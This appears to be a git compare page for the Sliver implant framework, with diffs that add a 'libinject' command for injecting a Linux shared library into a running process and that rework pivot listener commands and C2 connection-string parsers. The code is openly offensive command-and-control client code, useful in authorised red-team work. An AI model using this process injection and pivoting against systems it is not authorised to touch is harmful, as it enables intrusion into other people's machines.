Compare commits

..
2 Commits
Author SHA1 Message Date
rkervella 6553084d4e lib-inject wip 2021-12-15 15:55:29 -08:00
rkervella 21fa8c71d8 Use extended std lib for memfd 2021-12-15 08:28:17 -08:00
978 changed files with 11373 additions and 2812672 deletions

No files matched your search

+1 -1
View File
@@ -1,4 +1,4 @@
FROM golang:1.17.5
FROM golang:1.17.2
#
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
+25 -13
View File
@@ -3,8 +3,8 @@
#
GO ?= go
ENV =
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
ENV = CGO_ENABLED=1
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
#
# Version Information
@@ -41,31 +41,42 @@ UNAME_P := $(shell uname -p)
# If the target is Windows from Linux/Darwin, check for mingw
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
ifneq (,$(findstring cgosqlite,$(TAGS)))
ENV +=CGO_ENABLED=1
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# Programs required for generating protobuf/grpc files
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
ifeq ($(MAKECMDGOALS), pb)
K := $(foreach exec,$(PB_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
# *** Darwin ***
# *** Start Darwin ***
ifeq ($(UNAME_S),Darwin)
SED_INPLACE := sed -i ''
STATIC_TARGET := macos
endif
ifeq ($(UNAME_P),arm)
ENV += GOARCH=arm64
endif
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
# *** End Darwin ***
# *** Start Linux ***
ifeq ($(UNAME_S),Linux)
ifeq ($(MAKECMDGOALS), windows)
K := $(foreach exec,$(CROSS_COMPILERS),\
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
endif
endif
ifeq ($(MAKECMDGOALS), linux)
# Redefine LDFLAGS to add the static part
LDFLAGS = -ldflags "-s -w \
@@ -77,6 +88,7 @@ ifeq ($(MAKECMDGOALS), linux)
-X $(PKG).GitCommit=$(GIT_COMMIT) \
-X $(PKG).GitDirty=$(GIT_DIRTY)"
endif
# *** End Linux ***
#
# Targets
+37 -54
View File
@@ -2069,10 +2069,10 @@ func BindCommands(con *console.SliverConsoleClient) {
// [ Pivots ] --------------------------------------------------------------
pivotsCmd := &grumble.Command{
Name: consts.PivotsStr,
Help: "List pivots for active session",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr}),
con.App.AddCommand(&grumble.Command{
Name: consts.PivotsListStr,
Help: "List pivots",
LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotsCmd(ctx, con)
@@ -2081,78 +2081,40 @@ func BindCommands(con *console.SliverConsoleClient) {
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
f.String("i", "id", "", "session id")
},
HelpGroup: consts.SliverHelpGroup,
}
con.App.AddCommand(pivotsCmd)
})
pivotsCmd.AddCommand(&grumble.Command{
con.App.AddCommand(&grumble.Command{
Name: consts.NamedPipeStr,
Help: "Start a named pipe pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
Flags: func(f *grumble.Flags) {
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
f.String("n", "name", "", "name of the named pipe")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.StartNamedPipeListenerCmd(ctx, con)
pivots.NamedPipeListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
con.App.AddCommand(&grumble.Command{
Name: consts.TCPListenerStr,
Help: "Start a TCP pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}),
LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
Flags: func(f *grumble.Flags) {
f.String("b", "bind", "", "remote interface to bind pivot listener")
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp pivot listener port")
f.String("s", "server", "0.0.0.0", "interface to bind server to")
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp listen port")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.StartTCPListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.StopStr,
Help: "Stop a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.StopPivotListenerCmd(ctx, con)
con.Println()
return nil
},
HelpGroup: consts.SliverHelpGroup,
})
pivotsCmd.AddCommand(&grumble.Command{
Name: consts.DetailsStr,
Help: "Get details of a pivot listener",
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
Flags: func(f *grumble.Flags) {
f.Int("i", "id", 0, "id of the pivot listener to stop")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Run: func(ctx *grumble.Context) error {
con.Println()
pivots.PivotDetailsCmd(ctx, con)
pivots.TCPListenerCmd(ctx, con)
con.Println()
return nil
},
@@ -2784,6 +2746,27 @@ func BindCommands(con *console.SliverConsoleClient) {
f.String("r", "range", "sliver", "Agents range")
},
})
con.App.AddCommand(operatorCmd)
// [ LibInject ] -----------------------------------------------------------------
libInjectCmd := &grumble.Command{
Name: consts.LibInjectStr,
Help: "Inject a Linux shared library into a process",
LongHelp: help.GetHelpFor([]string{consts.LibInjectStr}),
HelpGroup: consts.SliverHelpGroup,
Run: func(ctx *grumble.Context) error {
con.Println()
exec.LibInjectCmd(ctx, con)
con.Println()
return nil
},
Args: func(a *grumble.Args) {
a.Uint64("pid", "Target process ID")
a.String("library-path", "Path to the shared library to inject")
},
Flags: func(f *grumble.Flags) {
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
}
con.App.AddCommand(libInjectCmd)
}
+58
View File
@@ -0,0 +1,58 @@
package exec
import (
"context"
"fmt"
"io/ioutil"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func LibInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
libPath := ctx.Args.String("library-path")
pid := ctx.Args.Uint64("pid")
data, err := ioutil.ReadFile(libPath)
if err != nil {
con.PrintErrorf("%s", err)
return
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Injecting %s into %d...", libPath, pid), ctrl)
libInject, err := con.Rpc.LibInject(context.Background(), &sliverpb.LibInjectReq{
Request: con.ActiveTarget.Request(ctx),
Pid: pid,
Data: data,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s", err)
return
}
if libInject.Response != nil && libInject.Response.Async {
con.AddBeaconCallback(libInject.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, libInject)
if err != nil {
con.PrintErrorf("Failed to decode response: %s", err)
return
}
con.PrintInfof("Injected %s into %d\n", libPath, pid)
})
con.PrintAsyncResponse(libInject.Response)
} else {
con.PrintInfof("Injected %s into %d\n", libPath, pid)
}
}
+1 -1
View File
@@ -12,7 +12,7 @@ import (
var (
minBeaconInterval = 5 * time.Second
ErrBeaconIntervalTooShort = fmt.Errorf("beacon interval must be %v or greater", minBeaconInterval)
ErrBeaconIntervalTooShort = fmt.Errorf("Beacon interval must be %v or greater", minBeaconInterval)
)
// GenerateBeaconCmd - The main command used to generate implant binaries
+55 -118
View File
@@ -178,46 +178,22 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
c2s := []*clientpb.ImplantC2{}
mtlsC2, err := ParseMTLSc2(ctx.Flags.String("mtls"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
mtlsC2 := ParseMTLSc2(ctx.Flags.String("mtls"))
c2s = append(c2s, mtlsC2...)
wgC2, err := ParseWGc2(ctx.Flags.String("wg"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
wgC2 := ParseWGc2(ctx.Flags.String("wg"))
c2s = append(c2s, wgC2...)
httpC2, err := ParseHTTPc2(ctx.Flags.String("http"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
httpC2 := ParseHTTPc2(ctx.Flags.String("http"))
c2s = append(c2s, httpC2...)
dnsC2, err := ParseDNSc2(ctx.Flags.String("dns"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
dnsC2 := ParseDNSc2(ctx.Flags.String("dns"))
c2s = append(c2s, dnsC2...)
namedPipeC2, err := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
namedPipeC2 := ParseNamedPipec2(ctx.Flags.String("named-pipe"))
c2s = append(c2s, namedPipeC2...)
tcpPivotC2, err := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return nil
}
tcpPivotC2 := ParseTCPPivotc2(ctx.Flags.String("tcp-pivot"))
c2s = append(c2s, tcpPivotC2...)
var symbolObfuscation bool
@@ -374,74 +350,51 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
}
// ParseMTLSc2 - Parse mtls connection string arg
func ParseMTLSc2(args string) ([]*clientpb.ImplantC2, error) {
func ParseMTLSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
uri := url.URL{Scheme: "mtls"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultMTLSLPort)
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultMTLSLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
return c2s
}
// ParseWGc2 - Parse wg connect string arg
func ParseWGc2(args string) ([]*clientpb.ImplantC2, error) {
func ParseWGc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "mtls://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("mtls://%s", arg))
if err != nil {
return nil, err
}
}
uri := url.URL{Scheme: "wg"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Hostname(), DefaultWGLPort)
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultWGLPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
return c2s
}
// ParseHTTPc2 - Parse HTTP connection string arg
func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
func ParseHTTPc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
@@ -450,12 +403,14 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
if strings.HasPrefix(arg, "http://") || strings.HasPrefix(arg, "https://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
log.Printf("Failed to parse C2 URL %s", err)
continue
}
} else {
uri, err = url.Parse(fmt.Sprintf("https://%s", arg))
if err != nil {
return nil, err
log.Printf("Failed to parse C2 URL %s", err)
continue
}
}
c2s = append(c2s, &clientpb.ImplantC2{
@@ -463,94 +418,76 @@ func ParseHTTPc2(args string) ([]*clientpb.ImplantC2, error) {
URL: uri.String(),
})
}
return c2s, nil
return c2s
}
// ParseDNSc2 - Parse DNS connection string arg
func ParseDNSc2(args string) ([]*clientpb.ImplantC2, error) {
func ParseDNSc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "dns://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("dns://%s", arg))
if err != nil {
return nil, err
}
uri := url.URL{Scheme: "dns"}
if len(arg) < 1 {
continue
}
// Make sure we have the FQDN
if !strings.HasSuffix(arg, ".") {
arg += "."
}
arg = strings.TrimPrefix(arg, ".")
uri.Host = arg
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
return c2s
}
// ParseNamedPipec2 - Parse named pipe connection string arg
func ParseNamedPipec2(args string) ([]*clientpb.ImplantC2, error) {
func ParseNamedPipec2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "named-pipe://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("named-pipe://%s", arg))
if err != nil {
return nil, err
}
uri, err := url.Parse("namedpipe://" + arg)
if len(arg) < 1 {
continue
}
if err != nil {
return c2s
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
return c2s
}
// ParseTCPPivotc2 - Parse tcp pivot connection string arg
func ParseTCPPivotc2(args string) ([]*clientpb.ImplantC2, error) {
func ParseTCPPivotc2(args string) []*clientpb.ImplantC2 {
c2s := []*clientpb.ImplantC2{}
if args == "" {
return c2s, nil
return c2s
}
for index, arg := range strings.Split(args, ",") {
arg = strings.ToLower(arg)
var uri *url.URL
var err error
if strings.HasPrefix(arg, "tcp-pivot://") {
uri, err = url.Parse(arg)
if err != nil {
return nil, err
}
} else {
uri, err = url.Parse(fmt.Sprintf("tcp-pivot://%s", arg))
if err != nil {
return nil, err
}
uri := url.URL{Scheme: "tcppivot"}
uri.Host = arg
if uri.Port() == "" {
uri.Host = fmt.Sprintf("%s:%d", uri.Host, DefaultTCPPivotPort)
}
c2s = append(c2s, &clientpb.ImplantC2{
Priority: uint32(index),
URL: uri.String(),
})
}
return c2s, nil
return c2s
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
+12 -10
View File
@@ -84,7 +84,7 @@ var (
consts.RegistryWriteStr: regWriteHelp,
consts.RegistryReadStr: regReadHelp,
consts.RegistryCreateKeyStr: regCreateKeyHelp,
consts.PivotsStr: pivotsHelp,
consts.PivotsListStr: pivotListHelp,
consts.WgPortFwdStr: wgPortFwdHelp,
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
@@ -482,19 +482,21 @@ When using the binary type, you must either:
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
`
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
pivotListHelp = `[[.Bold]]Command:[[.Normal]] pivots-list [--id SESSIONID]
[[.Bold]]About:[[.Normal]] List created pivots
[[.Bold]]Examples:[[.Normal]]
List pivots for all sessions:
pivots-list
List pivots for a specific session:
pivots-list --id 1
List pivots for the current session:
pivots
Start a tcp pivot on the current session:
pivots tcp --bind 0.0.0.0
`
pivots-list
`
wgSocksHelp = `[[.Bold]]Command:[[.Normal]] wg-socks
[[.Bold]]About:[[.Normal]] Create a socks5 listener on the implant Wireguard tun interface
[[.Bold]]Examples:[[.Normal]]
-96
View File
@@ -1,96 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// PivotDetailsCmd - Display pivots for all sessions
func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
return
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = selectedListener.ID
}
found := false
for _, listener := range pivotListeners.Listeners {
if listener.ID == id {
PrintPivotListenerDetails(listener, con)
found = true
}
}
if !found {
con.PrintErrorf("No pivot listener with id %d\n", id)
}
}
// PrintPivotListenerDetails - Print details of a single pivot listener
func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.SliverConsoleClient) {
con.Printf("\n")
con.Printf(" ID: %d\n", listener.ID)
con.Printf(" Protocol: %s\n", PivotTypeToString(listener.Type))
con.Printf(" Bind Address: %s\n", listener.BindAddress)
con.Printf(" Number of Pivots: %d\n", len(listener.Pivots))
con.Printf("\n")
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s Pivots"+console.Normal, PivotTypeToString(listener.Type)))
tw.AppendSeparator()
tw.AppendHeader(table.Row{
"ID",
"Remote Address",
})
for _, pivot := range listener.Pivots {
tw.AppendRow(table.Row{
pivot.ID,
pivot.RemoteAddress,
})
}
con.Printf("%s\n", tw.Render())
}
-64
View File
@@ -1,64 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"fmt"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
// SelectPivotListener - Interactive menu to select a pivot listener
func SelectPivotListener(listeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) (*sliverpb.PivotListener, error) {
// Render selection table
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, listener := range listeners {
fmt.Fprintf(table, "%d\t%s\t%s\t\n", listener.ID, PivotTypeToString(listener.Type), listener.BindAddress)
}
table.Flush()
options := strings.Split(buf.String(), "\n")
options = options[:len(options)-1]
if len(options) == 0 {
return nil, errors.New("no task to select from")
}
selected := ""
prompt := &survey.Select{
Message: "Select a beacon task:",
Options: options,
}
err := survey.AskOne(prompt, &selected)
if err != nil {
return nil, err
}
for index, value := range options {
if value == selected {
return listeners[index], nil
}
}
return nil, errors.New("task not found")
}
+40
View File
@@ -0,0 +1,40 @@
package pivots
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// NamedPipeListenerCmd - Start a named pipe pivot listener on the remote system
func NamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.OS != "windows" {
con.PrintErrorf("Not implemented for %s\n", session.OS)
return
}
pipeName := ctx.Flags.String("name")
if pipeName == "" {
con.PrintErrorf("-n parameter missing\n")
return
}
_, err := con.Rpc.NamedPipes(context.Background(), &sliverpb.NamedPipesReq{
PipeName: pipeName,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Listening on %s", "\\\\.\\pipe\\"+pipeName)
}
+58 -45
View File
@@ -19,71 +19,84 @@ package pivots
*/
import (
"bytes"
"context"
"fmt"
"strings"
"text/tabwriter"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/desertbit/grumble"
)
// PivotsCmd - Display pivots for all sessions
func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
timeout := ctx.Flags.Int("timeout")
sessionID := ctx.Flags.String("id")
if sessionID != "" {
session := con.GetSession(sessionID)
if session == nil {
return
}
printPivots(session, int64(timeout), con)
} else {
session := con.ActiveTarget.GetSession()
if session != nil {
printPivots(session, int64(timeout), con)
} else {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
for _, session := range sessions.Sessions {
printPivots(session, int64(timeout), con)
}
}
}
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
}
func printPivots(session *clientpb.Session, timeout int64, con *console.SliverConsoleClient) {
pivotList, err := con.Rpc.ListPivots(context.Background(), &sliverpb.PivotListReq{
Request: &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
Async: false,
},
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if pivotListeners.Response != nil && pivotListeners.Response.Err != "" {
con.PrintErrorf("%s\n", pivotListeners.Response.Err)
if pivotList.Response != nil && pivotList.Response.Err != "" {
con.PrintErrorf("%s\n", pivotList.Response.Err)
return
}
if len(pivotListeners.Listeners) == 0 {
con.PrintInfof("No pivot listeners running on this session\n")
if len(pivotList.Entries) > 0 {
con.PrintInfof("Session %d\n", session.ID)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
fmt.Fprintf(table, "type\taddress\t\n")
fmt.Fprintf(table, "%s\t%s\t\n",
strings.Repeat("=", len("type")),
strings.Repeat("=", len("address")),
)
for _, entry := range pivotList.Entries {
fmt.Fprintf(table, "%s\t%s\t\n", entry.Type, entry.Remote)
}
table.Flush()
con.Printf(outputBuf.String())
} else {
PrintPivotListeners(pivotListeners.Listeners, con)
con.PrintInfof("No pivots found for session %d\n", session.ID)
}
}
// PrintPivotListeners - Print a table of pivot listeners
func PrintPivotListeners(pivotListeners []*sliverpb.PivotListener, con *console.SliverConsoleClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{
"ID",
"Protocol",
"Bind Address",
"Number of Pivots",
})
for _, listener := range pivotListeners {
tw.AppendRow(table.Row{
listener.ID,
PivotTypeToString(listener.Type),
listener.BindAddress,
len(listener.Pivots),
})
}
con.Printf("%s\n", tw.Render())
}
// PivotTypeToString - Convert a pivot type to a human string
func PivotTypeToString(pivotType sliverpb.PivotType) string {
switch pivotType {
case sliverpb.PivotType_TCP:
return "TCP"
case sliverpb.PivotType_UDP:
return "UDP"
case sliverpb.PivotType_NamedPipe:
return "Named Pipe"
}
return "Unknown"
}
-74
View File
@@ -1,74 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StartTCPListenerCmd - Start a TCP pivot listener on the remote system
func StartTCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
bind := ctx.Flags.String("bind")
lport := uint16(ctx.Flags.Int("lport"))
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_TCP,
BindAddress: fmt.Sprintf("%s:%d", bind, lport),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if listener.Response != nil && listener.Response.Err != "" {
con.PrintErrorf("%s\n", listener.Response.Err)
return
}
con.PrintInfof("Started tcp pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
}
// StartNamedPipeListenerCmd - Start a TCP pivot listener on the remote system
func StartNamedPipeListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
listener, err := con.Rpc.PivotStartListener(context.Background(), &sliverpb.PivotStartListenerReq{
Type: sliverpb.PivotType_NamedPipe,
BindAddress: ctx.Flags.String("bind"),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if listener.Response != nil && listener.Response.Err != "" {
con.PrintErrorf("%s\n", listener.Response.Err)
return
}
con.PrintInfof("Started named pipe pivot listener %s with id %d\n", listener.BindAddress, listener.ID)
}
-64
View File
@@ -1,64 +0,0 @@
package pivots
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// StopPivotListenerCmd - Start a TCP pivot listener on the remote system
func StopPivotListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
id := uint32(ctx.Flags.Int("id"))
if id == uint32(0) {
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if len(pivotListeners.Listeners) == 0 {
con.PrintInfof("No pivot listeners running on this session\n")
return
}
selectedListener, err := SelectPivotListener(pivotListeners.Listeners, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
id = selectedListener.ID
}
_, err := con.Rpc.PivotStopListener(context.Background(), &sliverpb.PivotStopListenerReq{
ID: id,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Stopped pivot listener\n")
}
+34
View File
@@ -0,0 +1,34 @@
package pivots
import (
"context"
"fmt"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// TCPListenerCmd - Start a TCP pivot listener on the remote system
func TCPListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
